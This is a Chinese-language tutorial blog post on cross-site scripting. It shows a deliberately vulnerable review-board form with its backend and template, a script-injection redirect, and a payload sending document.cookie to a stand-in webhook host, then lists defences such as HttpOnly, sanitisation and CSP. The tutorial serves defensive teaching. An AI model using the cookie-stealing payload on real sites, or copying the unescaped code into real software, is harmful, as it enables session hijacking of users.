Cross Site Scripting (XSS) 攻擊及防制
2024-04-30 17:13:44

XSS (Cross-Site Scripting) 是一種網頁安全漏洞,允許攻擊者注入惡意腳本到網頁中,進而在其他使用者的瀏覽器上執行。


漏洞實現

Stored 儲存型 XSS

這邊舉個簡單的留言板當作舉例,通常都有網購看評價的經驗吧\owo/

這邊假設今天的評論前端長以下這樣
1
2
3
4
<form action="/submit" method="post">
<input type="text" name="review" placeholder="幫商品留下評價吧!">
<input type="submit" value="送出">
</form>
加上剛好後端工程師也寫得很雷,直接將你們的 review 存在主機中,不做任何修改
1
2
3
4
5
6
@app.route('/submit', methods=['POST'])
def submit_message():
review = request.form['review']
# 儲存 review 到資料庫中,這邊 code 我就亂打,看得懂概念就行
review_db.append(review)
return redirect('/')
然後前端留言也是直接輸出,不錯任何判斷
1
2
3
4
<!-- 顯示所有留言 -->
{% for rev in review %}
<p>{{ rev }}</p>
{% endfor %}

所以我今天如果滿肚子壞水的在評論區輸入下方程式碼的話,每個只要載入我留言的人就會被 Rickroll XD
(location.href 代表者將網址重定位,JS 語法)

1
<script>location.href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"</script>

當然這樣看起來還好,但如果今天我帶入的內容是像下面這串,我就可以把你的 cookie 透過 webhook 等方式傳來給我,我就可以來做壞壞的事情(登入、分析日常習慣等)

1
location.href="https://webhook.com?cookie="+document.cookie;

可以在 Cookie 中加上 HttpOnly 來去禁止非伺服器之外其他來源取用 Cookie,有興趣可以參考這裡

Reflected 反射型 XSS

你可以直接點點看這個網站,反射型 XSS 通常會直接將參數藏在網址參數中,再透過各種方式讓被害人無意間點進去。


如何防制

防制 XSS 最好的方法,就是 “Never Trust User Input(永遠不相信用戶輸入)”,這邊的輸入不只包含表單輸入,還有網址帶的參數等等

  1. 輸入輸出驗證:透過 Regex 等公式檢視該輸入是否合法
  2. HTML Sanitization(淨化?):透過套件分析,來去除可能造成 XSS 等程式碼,並且保留原本文字輸出。可以參考 DOMPurify
  3. 設定 CSP Header: Content Security Policy 可以有效限制外部腳本運行,但是有時候被 XSS 攻擊利用的也可能是自己網站的腳本

Reference